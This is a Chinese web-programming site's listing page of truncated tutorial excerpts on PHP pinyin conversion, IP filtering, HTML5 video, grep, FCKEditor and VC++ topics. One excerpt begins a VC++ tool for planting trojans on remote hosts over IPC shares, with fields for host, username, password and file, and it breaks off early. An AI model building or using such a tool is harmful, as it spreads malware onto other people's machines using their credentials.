欢迎访问 水平网    今天是:2017年11月22日 注册 | 登录 | 订阅 | 收藏
推荐文章
热点文章
专题
JQuery框架
Prototype.js
HTML5

PHP的UTF-8中文转拼音处理类

以下是PHP代码:【复制】 <?php/** * PHP 汉字转拼音 * @author Jerryli(hzjerry@gmail.com) * @version V0.20140715 * @package SPFW.core.lib.final * @global SEA_PHP_FW_VAR_ENV * @example * echo CUtf8_PY::encode('阿里巴巴科技有限公司'); //编码为拼音首字母 * echo CUtf8_PY::encode('阿里巴巴科技有限公司', 'all'); //编码为全拼音 */class CUtf8_PY { /** * 拼音字符转换图 * @var array */ private static $_aMaps = array( 'a'=>-20319,'ai'=>-20317,'an'=>-20304,'ang'=>-20295,'ao'=>-20292, 'ba'=>-20283,'bai'=>-20265,'ban'=>-20257,'bang'=>...
类别:网页编程 - PHP技术,阅读:391,更新:2017-03-22

HTML5 视频

 Web 上的视频直到现在,仍然不存在一项旨在网页上显示视频的标准。今天,大多数视频是通过插件(比如 Flash)来显示的。然而,并非所有浏览器都拥有同样的插件。HTML5 规定了一种通过 video 元素来包含视频的标准方法。视频格式当前,video 元素支持三种视频格式:格式IEFirefoxOperaChromeSafariOggNo3.5+10.5+5.0+NoMPEG 49.0+NoNo5.0+3.0+WebMNo4.0+10.6+6.0+NoOgg = 带有 Theora 视频编码和 Vorbis 音频编码的 Ogg 文件MPEG4 = 带有 H.264 视频编码和 AAC 音频编码的 MPEG 4 文件WebM = 带有 VP8 视频编码和 Vorbis 音频编码的 WebM 文件 如何工作如需在 HTML5 中显示视频,...
类别:网页编程,阅读:375,更新:2017-01-20

jQuery中设置form表单中action值的实现方法

<form id="myFormId" name="myForm" action="" method="post"> <input type="hidden" id="inParam" name="inParam" /> <input type="hidden" id="tstype" name="tstype" /> <input type="hidden" id="zd" name="zd" /></form>熟悉JavaScript的朋友一定晓得JS可以动态改变form表单中action的值,写法如下:document.myForm.action = "userinfo.shtml";  //需要注意的是form标签一定要有name属性,光有id没有name不起作用 ...
类别:网页编程 - JavaScript,阅读:417,更新:2017-01-16

用php代码限制国内IP访问我们网站

 利用淘宝的IP接口来判断IP,是否是国内的ip,是国内(CN)的就不允许访问。 以下是PHP代码:【复制】 $ip = $_SERVER['REMOTE_ADDR'];$content = file_get_contents(‘http://ip.taobao.com/service/getIpInfo.php?ip='.$ip);$banned = json_decode(trim($content), true);$lan = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE']);if((!empty($banned['data']['country_id']) && $banned['data']['country_id'] == ‘CN') || strstr($lan, ‘zh')){header(“HTTP/1.0 404 Not Found”);echo ‘HTTP/1.0 404 Not Found';exit;}同时...
类别:网页编程 - PHP技术,阅读:420,更新:2017-01-09

PHP 只允许指定IP访问(允许*号通配符过滤IP)

 /** * 检测访问的ip是否为规定的允许的ip * Enter description here ... */function check_ip(){    $ALLOWED_IP=array('192.168.2.*','127.0.0.1','192.168.2.49');    $IP=getIP();    $check_ip_arr= explode('.',$IP);//要检测的ip拆分成数组    #限制IP    if(!in_array($IP,$ALLOWED_IP)) {        foreach ($ALLOWED_IP as $val){          if(strpos($val,'*')!==false){//发现有*号替代符             $arr=array();//    ...
类别:网页编程 - PHP技术,阅读:389,更新:2017-01-09

grep用法详解 grep与正则表达式

 首先要记住的是: 正则表达式与通配符不一样,它们表示的含义并不相同正则表达式只是一种表示法,只要工具支持这种表示法, 那么该工具就可以处理正则表达式的字符串。vim、grep、awk 、sed 都支持正则表达式,也正是因为由于它们支持正则,才显得它们强大;在以前上班的公司里,由于公司是基于web的服务型网站(nginx),对正则的需求比 较大,所以也花了点时间研究正则,特与大家分享下: 1基础正则表达式 grep 工具,以前介绍过。 grep -[acinv] '搜索内容串' filename -a 以文本文件方式搜索 -c 计算找到的符合行的次数 -i 忽略大小写 -n 顺便输出行号 -v 反向选择,即找 没有搜索字符串的行 其中搜索串可以是正则表达式! 1 搜索有the的行,并...
类别:网页编程 - JavaScript,阅读:685,更新:2016-08-17

解决FCKEditor在IE10、IE11下的不兼容问题

 第一种方法、浏览器设置兼容模式打开IE,点击“工具”菜单,选择“兼容性视图设置”,勾选“在兼容性视图中显示所有网站”选项即可。 第二种方法、在使用编辑器的网页的:<meta http-equiv="Content-Type" content="text/html; charset=gbk">下面加<meta http-equiv="X-UA-Compatible" content="IE=EmulateIE7" />第三种方法、修改编辑器本身JS文件:修改编辑器目录下的 /editor/js/fckeditorcode_ie.js 文件,查找B.open("GET",A,false);在后面加上:try{B.responseType='msxml-document';}catch(e){}即为如下:...
类别:网页编程 - JavaScript,阅读:704,更新:2016-08-17

Visual C++实现文件间批量转换功能

一、前言  本人在开发惠普色谱工作站增强软件的过程中,实现了把指定目录下的色谱数据文件全部转换成纯文本文件的功能。下面,通过用一个具体的例子来说明此功能的实现方法。  全部代码用Visual C++6.0在Windows95/98/2000下编译通过。  二、实例  首先用MFC AppWizard生成一个SDI风格的应用程序test,生成过程中全部使用缺省设置。  其次,利用资源编辑器,在主菜单“文件”下增加一个菜单项“转换”,属性为:   ID:ID_CONVERT   Caption: 转换   Prompt: 在不同格式文件之间进行转换\\n转换文件  然后用“CTRL-W”热键激活MFC ClassWizard,为CmainF...
类别:C/S程序开发 - C/C++,阅读:776,更新:2015-04-10

C/C++项目中的代码复用和管理

一 模块功能单一化 模块的功能要单一,这似乎是人尽皆知的原则。但是在编码设计过程中,并不是谁都能小心的处理这个问题。 首先举一个实际中的例子:在我们的Capsuit的“安全检查”部件的开发过程中,我们开发了一个模块,用于其他模块输出Log.假设这个模块输出一个函数,叫做LogOutput,只要调用这个函数,就可以输出Log到某一个文件中。这个函数定义如下: void LogOutput(const TCHAR *format,…);这个模块需要初始化,初始化的过程,有一步是从配置文件中,得到Log文件的路径。bool LogInit() { CString log_file_path = CfgFile::GetLogFilePath(); if(log_file_path.IsEmpty()) return false; &he...
类别:C/S程序开发 - C/C++,阅读:683,更新:2015-04-10

VC++多线远程IPC程种植木马

主要实现代码如下/////////////////////////////////////////////////////////////////////////////////////typedef struct TagHost{CString host;CString user;CString pass;CString filename;CString LocalFilePath;CListBox* list;}IPC;void CShareDlg::OnStart() 启动线程序{  UpdateData(TRUE);  IPC* ipc = new IPC;  ipc->host = m_host;  ipc->user = m_user;  ipc->pass = m_pass;  ipc->LocalFilePath = m_localfile;  ipc->filename = filename;  ipc->list = &m_list;  AfxBeginThread(ThreadIpcConnect,ipc);}线程///////////////////////...
类别:C/S程序开发 - C/C++,阅读:788,更新:2015-04-10

用VC++实现Windows2000/XP下的休眠

实现休眠功能很简单,只要在任意想要执行的地方执行如下给出的休眠函数SetPower()就行,其实休眠很简单,只需要API:SetSystemPowerState()就行,就如关机/注销/重启一样,只需要ExitWindowEx(),但这些API可以直接用在98下,却不能用在2000/XP中,因为这里牵涉到了用户权限,没有权限是不能进行这些操作的,所以,首先要取得权限,下面给出代码:  #define RTN_ERROR 13  void PERR(LPTSTR szAPI, DWORD dwLastError) //休眠时调用到的一个函数,用来  ////记录休眠中遇到的错误  {  LPTSTR MessageBuffer;  DWORD dwBufferLength;  fprintf(stderr,"%s error! (rc=%lu)n"...
类别:C/S程序开发 - C/C++,阅读:618,更新:2015-04-10

EVC++开发实例之浏览器窗口

曾有人问过我关于显示GIF图片的问题。我的回答是要么使用国外做的专用于显示GIF图片的类,要么利用IWebBrowser COM组件。我还说过我用它做过自定义的IE。其实微软提供了CE下IE的源程序,就是利用这个组件来实现IE的各个功能的。我做IE是因为Windows CE自带的IE在各个方面都不符合我们的要求,于是我在IE源程序的基础上编写了符合我们要求的浏览器。这篇文章并不是要讲解如何做浏览器,而是用IWebBrowser组件来显示GIF、JPG图片,当然也能够显示网页。做浏览器要比只显示图片、网页要复杂的多。  在Pocket PC下开发的人多数会感到奇怪,不是有HtmlView吗?怎么还要自己写啊。因为微软为Pocket PC...
类别:C/S程序开发 - C/C++,阅读:748,更新:2015-04-10